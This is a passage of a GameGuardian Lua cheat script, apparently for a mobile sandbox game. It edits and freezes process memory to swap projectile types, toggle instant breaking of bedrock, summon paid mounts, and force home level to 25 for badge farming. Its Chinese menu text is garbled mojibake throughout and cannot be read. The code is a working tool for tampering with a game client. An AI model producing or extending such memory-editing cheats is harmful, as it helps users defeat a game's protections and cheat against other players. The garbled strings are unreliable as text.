 A4 = gg.prompt({"ã€�è¾“å…¥å­�å¼¹ä»£ç �ã€�12299æ— ç•�å¯¼å¼¹12300æ˜Ÿæ˜Ÿå¼¹15007 ç½�è£…æ‰‹é›·15008 è� è��æ‰‹é›·15050 æŠ•å°„ç‰©-é‡�äººçŒ�æ‰‹15051 æŠ•å°„ç‰©-ç¡«é»„å¼“æ‰‹15052 æŠ•å°„ç‰©-å°�æ�¶é­”15053 æŠ•å°„ç‰©-é‡�ç”Ÿå›¢å­�15054 æŠ•å°„ç‰©-é»‘é¾™ç�«ç�ƒ15055 æŠ•å°„ç‰©-é»‘é¾™ç†”å²©çŸ³æŸ±15056 æŠ•å°„ç‰©-é»‘é¾™ç†”å²©ç�ƒ15057 æŠ•å°„ç‰©-é»‘é¾™æ··ä¹±ç�ƒ15058 æŠ•å°„ç‰©-å°�å¤–æ˜ŸäººA15059 æŠ•å°„ç‰©-å°�å¤–æ˜ŸäººB15060 æŠ•å°„ç‰©-å°�å¤–æ˜ŸäººC15061 æŠ•å°„ç‰©-è�Œçœ¼å�®å�®15062 æŠ•å°„ç‰©-è�Œçœ¼å’šå’š15063 æŠ•å°„ç‰©-è�Œçœ¼å½“å½“15064 æŠ•å°„ç‰©-è�Œçœ¼å�®å’š15065 æŠ•å°„ç‰©-è�Œçœ¼å�®å½“15066 æŠ•å°„ç‰©-è�Œçœ¼å’šå½“15067 æŠ•å°„ç‰©-è�Œçœ¼å’»å’»15068 æŠ•å°„ç‰©-æ··ä¹±å¼“æ‰‹15069 æŠ•å°„ç‰©-è¿œç¨‹å®ˆå�«15070 æŠ•å°„ç‰©-è¿œç¨‹å®ˆå�«15071 æŠ•å°„ç‰©-è¿œç¨‹å®ˆå�«15072 æŠ•å°„ç‰©-å¹´å…½boss15501 å†²é”‹æ�ªå­�å¼¹15502 ç‰›ä»”å·¦è½®å­�å¼¹15503 ç‹™å‡»æ�ªå­�å¼¹15504 é‡�æœºæ�ªå­�å¼¹15505 è™šç©ºå·¨çŸ³15506 åœ†ç�ƒçˆ†å¼¹15507 å†°é”¥15508 ç†”å²©ç�ƒ15509 è�Œçœ¼æ˜ŸBOSS-å‡»é£�æ¿€å…‰15510 è�Œçœ¼æ˜ŸBOSS-å†°å†»æ¿€å…‰15511 è�Œçœ¼æ˜ŸBOSS-çˆ†ç‚¸æ¿€å…‰15512 è�Œçœ¼æ˜ŸBOSS-å²©çŸ³æµ·å•¸15513 è�Œçœ¼æ˜ŸBOSS-è“�è‰²æ‰‹è‡‚æŠ€èƒ½15514 è�Œçœ¼æ˜ŸBOSS-ç™½è‰²æ‰‹è‡‚æŠ€èƒ½15515 è�Œçœ¼æ˜ŸBOSSç²¾è‹±æ€ª-è“�è‰²æŠ•æ�·15516 è�Œçœ¼æ˜ŸBOSSç²¾è‹±æ€ª-ç™½è‰²æŠ•æ�·15517 è�Œçœ¼æ˜ŸBOSSç²¾è‹±æ€ª-è“�è‰²æŠ€èƒ½15518 è�Œçœ¼æ˜ŸBOSSç²¾è‹±æ€ª-ç™½è‰²æŠ€èƒ½15519 é»‘é¾™ç†”å²©ç�ƒ15520 é»‘é¾™æ··ä¹±ç�ƒ15521 æ‘„åƒ�æœº15522 é•¿æ–¹ä½“15523 èƒ¶å›Šä½“ï¼ˆç«–ï¼‰15524 ç�ƒä½“15525 ä¸­å¿ƒé•¿æ–¹ä½“15526 èƒ¶å›Šä½“ï¼ˆæ¨ªï¼‰15527 èƒ¶å›Šä½“ï¼ˆç›´ï¼‰"}
,{[1]=12299},{[1]="number"})[1]
 qmnb = {
{["memory"] = 4},
{["name"] = "ç‹™å‡»æ�ªå¼ºåŒ–"},
{["value"] = 1155186688, ["type"] = 4},
{["lv"] = 1152319488, ["offset"] = 4, ["type"] = 4},
{["lv"] = 1137836032, ["offset"] = 8, ["type"] = 4},
}
qmxg = {
{["value"] = A4, ["offset"] = 24, ["type"] = 4},
{["value"] = 1, ["offset"] = 20, ["type"] = 4},
{["value"] = 0, ["offset"] = -28, ["type"] = 16},
{["value"] = 0, ["offset"] = -44, ["type"] = 16},
}
xqmnb(qmnb)
end
if   F==2   then
A5 = gg.prompt({"ã€�è¾“å…¥å­�å¼¹ä»£ç �ã€�12299æ— ç•�å¯¼å¼¹12300æ˜Ÿæ˜Ÿå¼¹15007 ç½�è£…æ‰‹é›·15008 è� è��æ‰‹é›·15050 æŠ•å°„ç‰©-é‡�äººçŒ�æ‰‹15051 æŠ•å°„ç‰©-ç¡«é»„å¼“æ‰‹15052 æŠ•å°„ç‰©-å°�æ�¶é­”15053 æŠ•å°„ç‰©-é‡�ç”Ÿå›¢å­�15054 æŠ•å°„ç‰©-é»‘é¾™ç�«ç�ƒ15055 æŠ•å°„ç‰©-é»‘é¾™ç†”å²©çŸ³æŸ±15056 æŠ•å°„ç‰©-é»‘é¾™ç†”å²©ç�ƒ15057 æŠ•å°„ç‰©-é»‘é¾™æ··ä¹±ç�ƒ15058 æŠ•å°„ç‰©-å°�å¤–æ˜ŸäººA15059 æŠ•å°„ç‰©-å°�å¤–æ˜ŸäººB15060 æŠ•å°„ç‰©-å°�å¤–æ˜ŸäººC15061 æŠ•å°„ç‰©-è�Œçœ¼å�®å�®15062 æŠ•å°„ç‰©-è�Œçœ¼å’šå’š15063 æŠ•å°„ç‰©-è�Œçœ¼å½“å½“15064 æŠ•å°„ç‰©-è�Œçœ¼å�®å’š15065 æŠ•å°„ç‰©-è�Œçœ¼å�®å½“15066 æŠ•å°„ç‰©-è�Œçœ¼å’šå½“15067 æŠ•å°„ç‰©-è�Œçœ¼å’»å’»15068 æŠ•å°„ç‰©-æ··ä¹±å¼“æ‰‹15069 æŠ•å°„ç‰©-è¿œç¨‹å®ˆå�«15070 æŠ•å°„ç‰©-è¿œç¨‹å®ˆå�«15071 æŠ•å°„ç‰©-è¿œç¨‹å®ˆå�«15072 æŠ•å°„ç‰©-å¹´å…½boss15501 å†²é”‹æ�ªå­�å¼¹15502 ç‰›ä»”å·¦è½®å­�å¼¹15503 ç‹™å‡»æ�ªå­�å¼¹15504 é‡�æœºæ�ªå­�å¼¹15505 è™šç©ºå·¨çŸ³15506 åœ†ç�ƒçˆ†å¼¹15507 å†°é”¥15508 ç†”å²©ç�ƒ15509 è�Œçœ¼æ˜ŸBOSS-å‡»é£�æ¿€å…‰15510 è�Œçœ¼æ˜ŸBOSS-å†°å†»æ¿€å…‰15511 è�Œçœ¼æ˜ŸBOSS-çˆ†ç‚¸æ¿€å…‰15512 è�Œçœ¼æ˜ŸBOSS-å²©çŸ³æµ·å•¸15513 è�Œçœ¼æ˜ŸBOSS-è“�è‰²æ‰‹è‡‚æŠ€èƒ½15514 è�Œçœ¼æ˜ŸBOSS-ç™½è‰²æ‰‹è‡‚æŠ€èƒ½15515 è�Œçœ¼æ˜ŸBOSSç²¾è‹±æ€ª-è“�è‰²æŠ•æ�·15516 è�Œçœ¼æ˜ŸBOSSç²¾è‹±æ€ª-ç™½è‰²æŠ•æ�·15517 è�Œçœ¼æ˜ŸBOSSç²¾è‹±æ€ª-è“�è‰²æŠ€èƒ½15518 è�Œçœ¼æ˜ŸBOSSç²¾è‹±æ€ª-ç™½è‰²æŠ€èƒ½15519 é»‘é¾™ç†”å²©ç�ƒ15520 é»‘é¾™æ··ä¹±ç�ƒ15521 æ‘„åƒ�æœº15522 é•¿æ–¹ä½“15523 èƒ¶å›Šä½“ï¼ˆç«–ï¼‰15524 ç�ƒä½“15525 ä¸­å¿ƒé•¿æ–¹ä½“15526 èƒ¶å›Šä½“ï¼ˆæ¨ªï¼‰15527 èƒ¶å›Šä½“ï¼ˆç›´ï¼‰"}
,{[1]=12299},{[1]="number"})[1]
 qmnb = {
{["memory"] = 4},
{["name"] = "å†²é”‹æ�ªå¼ºåŒ–"},
{["value"] = 1154613248, ["type"] = 4},
{["lv"] = 1149861888, ["offset"] = 4, ["type"] = 4},
{["lv"] = 1123024896, ["offset"] = 8, ["type"] = 4},
}
qmxg = {
{["value"] = A5, ["offset"] = 24, ["type"] = 4},
{["value"] = 1, ["offset"] = 20, ["type"] = 4},
{["value"] = 0, ["offset"] = -28, ["type"] = 16},
{["value"] = 0, ["offset"] = -44, ["type"] = 16},
}
xqmnb(qmnb)
end
if    F==3  then
A6 = gg.prompt({"ã€�è¾“å…¥å­�å¼¹ä»£ç �ã€�12299æ— ç•�å¯¼å¼¹12300æ˜Ÿæ˜Ÿå¼¹15007 ç½�è£…æ‰‹é›·15008 è� è��æ‰‹é›·15050 æŠ•å°„ç‰©-é‡�äººçŒ�æ‰‹15051 æŠ•å°„ç‰©-ç¡«é»„å¼“æ‰‹15052 æŠ•å°„ç‰©-å°�æ�¶é­”15053 æŠ•å°„ç‰©-é‡�ç”Ÿå›¢å­�15054 æŠ•å°„ç‰©-é»‘é¾™ç�«ç�ƒ15055 æŠ•å°„ç‰©-é»‘é¾™ç†”å²©çŸ³æŸ±15056 æŠ•å°„ç‰©-é»‘é¾™ç†”å²©ç�ƒ15057 æŠ•å°„ç‰©-é»‘é¾™æ··ä¹±ç�ƒ15058 æŠ•å°„ç‰©-å°�å¤–æ˜ŸäººA15059 æŠ•å°„ç‰©-å°�å¤–æ˜ŸäººB15060 æŠ•å°„ç‰©-å°�å¤–æ˜ŸäººC15061 æŠ•å°„ç‰©-è�Œçœ¼å�®å�®15062 æŠ•å°„ç‰©-è�Œçœ¼å’šå’š15063 æŠ•å°„ç‰©-è�Œçœ¼å½“å½“15064 æŠ•å°„ç‰©-è�Œçœ¼å�®å’š15065 æŠ•å°„ç‰©-è�Œçœ¼å�®å½“15066 æŠ•å°„ç‰©-è�Œçœ¼å’šå½“15067 æŠ•å°„ç‰©-è�Œçœ¼å’»å’»15068 æŠ•å°„ç‰©-æ··ä¹±å¼“æ‰‹15069 æŠ•å°„ç‰©-è¿œç¨‹å®ˆå�«15070 æŠ•å°„ç‰©-è¿œç¨‹å®ˆå�«15071 æŠ•å°„ç‰©-è¿œç¨‹å®ˆå�«15072 æŠ•å°„ç‰©-å¹´å…½boss15501 å†²é”‹æ�ªå­�å¼¹15502 ç‰›ä»”å·¦è½®å­�å¼¹15503 ç‹™å‡»æ�ªå­�å¼¹15504 é‡�æœºæ�ªå­�å¼¹15505 è™šç©ºå·¨çŸ³15506 åœ†ç�ƒçˆ†å¼¹15507 å†°é”¥15508 ç†”å²©ç�ƒ15509 è�Œçœ¼æ˜ŸBOSS-å‡»é£�æ¿€å…‰15510 è�Œçœ¼æ˜ŸBOSS-å†°å†»æ¿€å…‰15511 è�Œçœ¼æ˜ŸBOSS-çˆ†ç‚¸æ¿€å…‰15512 è�Œçœ¼æ˜ŸBOSS-å²©çŸ³æµ·å•¸15513 è�Œçœ¼æ˜ŸBOSS-è“�è‰²æ‰‹è‡‚æŠ€èƒ½15514 è�Œçœ¼æ˜ŸBOSS-ç™½è‰²æ‰‹è‡‚æŠ€èƒ½15515 è�Œçœ¼æ˜ŸBOSSç²¾è‹±æ€ª-è“�è‰²æŠ•æ�·15516 è�Œçœ¼æ˜ŸBOSSç²¾è‹±æ€ª-ç™½è‰²æŠ•æ�·15517 è�Œçœ¼æ˜ŸBOSSç²¾è‹±æ€ª-è“�è‰²æŠ€èƒ½15518 è�Œçœ¼æ˜ŸBOSSç²¾è‹±æ€ª-ç™½è‰²æŠ€èƒ½15519 é»‘é¾™ç†”å²©ç�ƒ15520 é»‘é¾™æ··ä¹±ç�ƒ15521 æ‘„åƒ�æœº15522 é•¿æ–¹ä½“15523 èƒ¶å›Šä½“ï¼ˆç«–ï¼‰15524 ç�ƒä½“15525 ä¸­å¿ƒé•¿æ–¹ä½“15526 èƒ¶å›Šä½“ï¼ˆæ¨ªï¼‰15527 èƒ¶å›Šä½“ï¼ˆç›´ï¼‰"}
,{[1]=12299},{[1]="number"})[1]
 qmnb = {
{["memory"] = 4},
{["name"] = "é‡�æœºæ�ªå¼ºåŒ–"},
{["value"] = 1157840896, ["type"] = 4},
{["lv"] = 1149861888, ["offset"] = 4, ["type"] = 4},
{["lv"] = 1123024896, ["offset"] = 8, ["type"] = 4},
}
qmxg = {
{["value"] = A6, ["offset"] = 24, ["type"] = 4},
{["value"] = 1, ["offset"] = 20, ["type"] = 4},
{["value"] = 0, ["offset"] = -28, ["type"] = 16},
{["value"] = 0, ["offset"] = -44, ["type"] = 16},
}
xqmnb(qmnb)
end end





function XCA13()
local F=gg.alert("ç§’æ’¸åŸºå²©\nè¯·é€‰æ‹©{å¼€ å…³}","å¼€","ï¸�å…³ï¸�ï¸�")
if  F== 1 then
local addr=readPointer('libAppPlayJNI.so:bss',{0x5C0A8,0x10,0x2AC},1)
gg.edits(addr,{{0,16,0}}) end
if F== 2 then
local addr=readPointer('libAppPlayJNI.so:bss',{0x5C0A8,0x10,0x2AC},1)
gg.edits(addr,{{-1,16,0}}) end
end












function XCA14()
o2= gg.choice({
      "à¼ºà½Œà¼€â›¦à¿ˆåŒ–çŸ³é¾™à¿ˆâ›¦à¼€à½‘à¼»",--1
      "à¼ºà½Œà¼€â›¦à¿ˆæœºç�µé£�é¼ à¿ˆâ›¦à¼€à½‘à¼»",--2
      "à¼ºà½Œà¼€â›¦à¿ˆç‘�ç¥¥éº’éºŸà¿ˆâ›¦à¼€à½‘à¼»",--3
      "à¼ºà½Œà¼€â›¦à¿ˆé™†è¡Œé¸Ÿà¿ˆâ›¦à¼€à½‘à¼»",--4
      "à¼ºà½Œà¼€â›¦à¿ˆç››å…¸ç™½è±¡à¿ˆâ›¦à¼€à½‘à¼»",--5    
      "à¼ºà½Œà¼€â›¦à¿ˆè¶…èƒ½æµ·è±¹à¿ˆâ›¦à¼€à½‘à¼»",--6
      "à¼ºà½Œà¼€â›¦à¿ˆèˆ�ç‹®çŒ«çŒ«à¿ˆâ›¦à¼€à½‘à¼»",--7
      "à¼ºà½Œà¼€â›¦à¿ˆæ˜Ÿæ²³å¤©é©¬à¿ˆâ›¦à¼€à½‘à¼»",--8
      "à¼ºà½Œà¼€â›¦à¿ˆæ¡ƒé¦™æ‰‡ç¼˜à¿ˆâ›¦à¼€à½‘à¼»",--9
      "à¼ºà½Œà¼€â›¦à¿ˆæ·±æ¸Šå’†å“®à¿ˆâ›¦à¼€à½‘à¼»",--10
      "à¼ºà½Œà¼€â›¦à¿ˆçš�æœˆä»™å®«à¿ˆâ›¦à¼€à½‘à¼»",--11
      "à¼ºà½Œà¼€â›¦à¿ˆå†°é›ªä¼ è¯´à¿ˆâ›¦à¼€à½‘à¼»",--12   
      "à¼ºà½Œà¼€â›¦à¿ˆç¼¤çº·å¹»æƒ³à¿ˆâ›¦à¼€à½‘à¼»",--13
      "à¼ºà½Œà¼€â›¦à¿ˆç¦�è¿�å“�å“�à¿ˆâ›¦à¼€à½‘à¼»",--14
      "à¼ºà½Œà¼€â›¦à¿ˆæµ®æ¸¸å±±æµ·à¿ˆâ›¦à¼€à½‘à¼»",--15
      "à¼ºà½Œà¼€â›¦à¿ˆé•œèŠ±æ°´æœˆà¿ˆâ›¦à¼€à½‘à¼»",--16
      "à¼ºà½Œà¼€â›¦à¿ˆé¹¿ç�‹æœ¬èº«à¿ˆâ›¦à¼€à½‘à¼»",--17 
      "à¼ºà½Œà¼€â›¦à¿ˆå�—ç“œè½¦à¿ˆâ›¦à¼€à½‘à¼»",--18 
      "à¼ºà½Œà¼€â›¦à¿ˆç«¹èœ»èœ“à¿ˆâ›¦à¼€à½‘à¼»",--19   
      "à¼ºà½Œà¼€â›¦à¿ˆæ›¦å…‰ç»˜æ¢¦à¿ˆâ›¦à¼€à½‘à¼»",--20  
      "à¼ºà½Œà¼€â›¦à¿ˆè£‚ç©ºæœºç”²à¿ˆâ›¦à¼€à½‘à¼»",--21
      "à¼ºà½Œà¼€â›¦à¿ˆæ˜Ÿæ²³æœºç”²à¿ˆâ›¦à¼€à½‘à¼»",--22  
      "à¼ºà½Œà¼€â›¦à¿ˆç�¯æµ·è¯ºè¯ºà¿ˆâ›¦à¼€à½‘à¼»",--23 
      "à¼ºà½Œà¼€â›¦à¿ˆå°¼ä¸œè‹¥è‹¥à¿ˆâ›¦à¼€à½‘à¼»",--24 
      "à¼ºà½Œà¼€â›¦à¿ˆè™šç©ºé¾™ç¥–à¿ˆâ›¦à¼€à½‘à¼»",--25       
      "à¼ºà½Œà¼€â›¦à¿ˆç¹�èŠ±å¤œæ˜�à¿ˆâ›¦à¼€à½‘à¼»",--26 
      "à¼ºà½Œà¼€â›¦à¿ˆæ˜Ÿæœˆé­”æ¯¯à¿ˆâ›¦à¼€à½‘à¼»",--27
      "à¼ºà½Œà¼€â›¦à¿ˆå�ƒæœºéš¼à¿ˆâ›¦à¼€à½‘à¼»",--28
      "à¼ºà½Œà¼€â›¦à¿ˆæ— é™�ç”µéŸ³à¿ˆâ›¦à¼€à½‘à¼»",--29
      "à¼ºà½Œà¼€â›¦à¿ˆäº‘æ¢¦èŠ±èˆ�à¿ˆâ›¦à¼€à½‘à¼»",--30
      "à¼ºà½Œà¼€â›¦à¿ˆé†‰èŠ±é˜´à¿ˆâ›¦à¼€à½‘à¼»",--31
      "à¼ºà½Œà¼€â›¦à¿ˆæ—º  è´¢à¿ˆâ›¦à¼€à½‘à¼»",--32
      "à¼ºà½Œà¼€â›¦à¿ˆå¸�çš‡æˆ˜é¾™à¿ˆâ›¦à¼€à½‘à¼»",--33
      "à¼ºà½Œà¼€â›¦à¿ˆè™�è™�ç”Ÿå¨�à¿ˆâ›¦à¼€à½‘à¼»",--34
      "à¼ºà½Œà¼€â›¦à¿ˆæ˜¥é£�ç‡•è¯­à¿ˆâ›¦à¼€à½‘à¼»",--35
      "à¼ºà½Œà¼€â›¦à¿ˆç»˜æ±Ÿå±±à¿ˆâ›¦à¼€à½‘à¼»",--36
      "à¼ºà½Œà¼€â›¦à¿ˆç±³å¥‡æ‹‰à¿ˆâ›¦à¼€à½‘à¼»",--37
      "à¼ºà½Œà¼€â›¦à¿ˆå¸�çš‡ä¾ à¿ˆâ›¦à¼€à½‘à¼»",--38
      "à¼ºà½Œà¼€â›¦à¿ˆæ�½æ¢¦ä¹‹ç¿¼à¿ˆâ›¦à¼€à½‘à¼»",--39
      "à¼ºà½Œà¼€â›¦à¿ˆå†°éœœç»½æ”¾à¿ˆâ›¦à¼€à½‘à¼»",--40
      "à¼ºà½Œà¼€â›¦à¿ˆç¦�å…”ä¸´é—¨à¿ˆâ›¦à¼€à½‘à¼»",--41
      "à¼ºà½Œà¼€â›¦à¿ˆå¤©å¹•æ˜Ÿé¾™à¿ˆâ›¦à¼€à½‘à¼»",--42
      "à¼ºà½Œà¼€â›¦à¿ˆè¿·ä½ å�˜å½¢è½¦à¿ˆâ›¦à¼€à½‘à¼»",--43
      "à¼ºà½Œà¼€â›¦à¿ˆç¾½è¾‰ä¹‹é’¥à¿ˆâ›¦à¼€à½‘à¼»",--44
      "à¼ºà½Œà¼€â›¦à¿ˆè½©è¾•åœ£å‰‘à¿ˆâ›¦à¼€à½‘à¼»",--45
      "à¼ºà½Œà¼€â›¦à¿ˆèµ¤é¢œå¹»å§¬à¿ˆâ›¦à¼€à½‘à¼»",--46
      "à¼ºà½Œà¼€â›¦à¿ˆæ¢¦å¹»æ—¶å…‰à¿ˆâ›¦à¼€à½‘à¼»",--47
      "à¼ºà½Œà¼€â›¦à¿ˆéŸ¶å…‰à¿ˆâ›¦à¼€à½‘à¼»",--48
      "à¼ºà½Œà¼€â›¦à¿ˆæ²™æ¼ ä¹‹èˆŸà¿ˆâ›¦à¼€à½‘à¼»",--49
      "à¼ºà½Œà¼€â›¦à¿ˆé£�é“ƒå…°è¯­à¿ˆâ›¦à¼€à½‘à¼»",--50
      "à¼ºà½Œà¼€â›¦à¿ˆæœˆä¸­æ¡‚à¿ˆâ›¦à¼€à½‘à¼»",--51
      "à¼ºà½Œà¼€â›¦à¿ˆæœ‹å…‹çŒªç‡ƒç‡ƒà¿ˆâ›¦à¼€à½‘à¼»",--52
      "à¼ºà½Œà¼€â›¦à¿ˆæ��é™�æ�«åŠ¨à¿ˆâ›¦à¼€à½‘à¼»",--53
      "à¼ºà½Œà¼€â›¦à¿ˆåº†å…¸ä¹‹ä¹¦à¿ˆâ›¦à¼€à½‘à¼»",--54
      "à¼ºà½Œà¼€â›¦à¿ˆè‡ªå®šä¹‰æ·»åŠ à¿ˆâ›¦à¼€à½‘à¼»",--55
       "à¼ºà½Œà¼€â›¦à¿ˆè¿”å›�ä¸»é¡µà¿ˆâ›¦à¼€à½‘à¼»",},2018,os.date("è¯·å…ˆç‚¹å‡»å��éª‘æŒ‰é’®ç•Œé�¢å†�å�¬å”¤æ²¡æœ‰ç‚¹å‡»å��éª‘ç•Œé�¢å°†æ— æ³•å�¬å”¤"))
if o2==1 then o=3431 o4() end
if o2==2 then o=3435 o4() end
if o2==3 then o=3438 o4() end
if o2==4 then o=3441 o4() end
if o2==5 then o=3444 o4() end
if o2==6 then o=3447 o4() end
if o2==7 then o=3456 o4() end
if o2==8 then o=3459 o4() end
if o2==9 then o=3462 o4() end
if o2==10 then o=3471 o4() end
if o2==11 then o=3480 o4() end
if o2==12 then o=3485 o4() end
if o2==13 then o=3487 o4() end
if o2==14 then o=3489 o4() end
if o2==15 then o=3492 o4() end
if o2==16 then o=3497 o4() end
if o2==17 then o=4503 o4() end
if o2==18 then o=4507 o4() end
if o2==19 then o=4510 o4() end
if o2==20 then o=4515 o4() end
if o2==21 then o=4518 o4() end
if o2==22 then o=4521 o4() end
if o2==23 then o=4526 o4() end
if o2==24 then o=4529 o4() end
if o2==25 then o=4533 o4() end
if o2==26 then o=4537 o4() end
if o2==27 then o=4541 o4() end
if o2==28 then o=4545 o4() end
if o2==29 then o=4548 o4() end
if o2==30 then o=4551 o4() end
if o2==31 then o=4554 o4() end
if o2==32 then o=4556 o4() end
if o2==33 then o=4562 o4() end
if o2==34 then o=4566 o4() end
if o2==35 then o=4574 o4() end
if o2==36 then o=4581 o4() end
if o2==37 then o=4568 o4() end
if o2==38 then o=4569 o4() end
if o2==39 then o=4634 o4() end
if o2==40 then o=4637 o4() end
if o2==41 then o=4629 o4() end
if o2==42 then o=4621 o4() end
if o2==43 then o=4644 o4() end
if o2==44 then o=4585 o4() end
if o2==45 then o=4592 o4() end
if o2==46 then o=4588 o4() end
if o2==47 then o=4598 o4() end
if o2==48 then o=4596 o4() end
if o2==49 then o=4608 o4() end
if o2==50 then o=4603 o4() end
if o2==51 then o=4616 o4() end
if o2==52 then o=4612 o4() end
if o2==53 then o=4619 o4() end
if o2==54 then o=4646 o4() end
if o2==55 then o5() end
if o2==56 then HOME() end
XGCK=-1 end
function o4()
gg.toast(so({"å��éª‘",4842495500454461440,4,32},{{1127481344,4,4},{1106247680,0x1C,4},{1065353216,-0x8,4},{"16777216~16777472",-0x3C,4}},{{o,0x128,4,1},{16777472,-0x3C,4,1}}))
  gg.toast("å�¬å”¤å��éª‘å¼€å�¯æˆ�åŠŸ")
end
function o5()
XG = gg.prompt({"è¯·è¾“å…¥å��éª‘å�¬å”¤ä»£ç �"}
,{[1]=""},{[1]="number"})[1]
qmnb = {
{["memory"] = 4},
{["name"] = "è‡ªå®šä¹‰å��éª‘"},
{["value"] = 4842495500454461440, ["type"] =32 },
{["lv"] = 1127481344, ["offset"] = 4, ["type"] = 4},
{["lv"] = 1106247680, ["offset"] = 28, ["type"] = 4},}
qmxg = {
{["value"] = XG, ["offset"] = 296, ["type"] = 4, ["freeze"] = true},
{["value"] = 16777472, ["offset"] = -60, ["type"] = 4, ["freeze"] = true}}
xqmnb(qmnb)
end



function XCA15()
SN = gg.multiChoice({
"à¼ºà½Œà¼€â›¦à¿ˆåˆ·èŒ�å£®æˆ�é•¿å‹‹ç« à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆåˆ·å��ä¸½å�˜èº«å‹‹ç« à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè¿”å›�ä¸»é¡µà¿ˆâ›¦à¼€à½‘à¼»",
 }, nil, "à¼ºà½Œà¼€â›¦à¿ˆåˆ·å‹‹ç« à¿ˆâ›¦à¼€à½‘à¼»ï¸�ï¸�ï¸�")
if SN == nil then else
if SN[1]==true then     X1() end
if SN[2]==true then     X2() end
if SN[3]==true then     Main() end
end
XGCK=-1 end

function X1()
SN = gg.choice({
	 "à¼ºà½Œà¼€â›¦à¿ˆï¸�1çº§å®¶å›­æ”¹25çº§à¿ˆâ›¦à¼€à½‘à¼»ï¸�",
	 "à¼ºà½Œà¼€â›¦à¿ˆï¸�2çº§å®¶å›­æ”¹25çº§à¿ˆâ›¦à¼€à½‘à¼»ï¸�",
	 "à¼ºà½Œà¼€â›¦à¿ˆ3çº§å®¶å›­æ”¹25çº§à¿ˆâ›¦à¼€à½‘à¼»",
	 "à¼ºà½Œà¼€â›¦à¿ˆ4çº§å®¶å›­æ”¹25çº§à¿ˆâ›¦à¼€à½‘à¼»",
	 "à¼ºà½Œà¼€â›¦à¿ˆ5çº§å®¶å›­æ”¹25çº§à¿ˆâ›¦à¼€à½‘à¼»",
	 "à¼ºà½Œà¼€â›¦à¿ˆ6çº§å®¶å›­æ”¹25çº§à¿ˆâ›¦à¼€à½‘à¼»",
	 "à¼ºà½Œà¼€â›¦à¿ˆ7çº§å®¶å›­æ”¹25çº§à¿ˆâ›¦à¼€à½‘à¼»",
	 "à¼ºà½Œà¼€â›¦à¿ˆè¿”å›�ä¸»é¡µà¿ˆâ›¦à¼€à½‘à¼»",
}, nil, "")
if SN==1 then
	 HS99()
end
if SN==2 then
	 HS999()
end
if SN==3 then
	 HS9999()
end
if SN==4 then
	 HS99999()
end
if SN==5 then
	 HS999999()
end
if SN==6 then
	 HS9999999()
end
if SN==7 then
	 HS99999999()
end
if SN==8 then
	 Main()
end
FX1=0
FX2=0
end

function HS99()
	 gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("1E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("1", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("ä¿®æ”¹æˆ�åŠŸ")
	 gg.clearResults()
end

function HS999()
	 gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("2E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("2", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("ä¿®æ”¹æˆ�åŠŸ")
	 gg.clearResults()
end



function HS9999()
	 gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("3E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("3", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("ä¿®æ”¹æˆ�åŠŸ")
	 gg.clearResults()
end

function HS99999()
	  gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("4E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("4", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("ä¿®æ”¹æˆ�åŠŸ")
	 gg.clearResults()
end

function HS999999()
	  gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("5E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("5", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("ä¿®æ”¹æˆ�åŠŸ")
	 gg.clearResults()
end

function HS9999999()
 gg.clearResults()
	 gg.setRanges(262207)
	 gg.searchNumber("6E;4634626229029306368Q", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("6", gg.TYPE_DOUBLE, false, gg.SIGN_EQUAL, 0, -1)
	 jg=gg.getResults(1500)
	 sl=gg.getResultCount()
	 if sl>1500 then sl=1500 end
	 for i = 1, sl do
	 	 dzy=jg[i].address
	 	 gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DOUBLE,freeze = true,value = 25}})
	 end
	 gg.toast("ä¿®æ”¹æˆ�åŠŸ")
	 gg.clearResults()
end

function HS99999999()
 gg.clearResults()
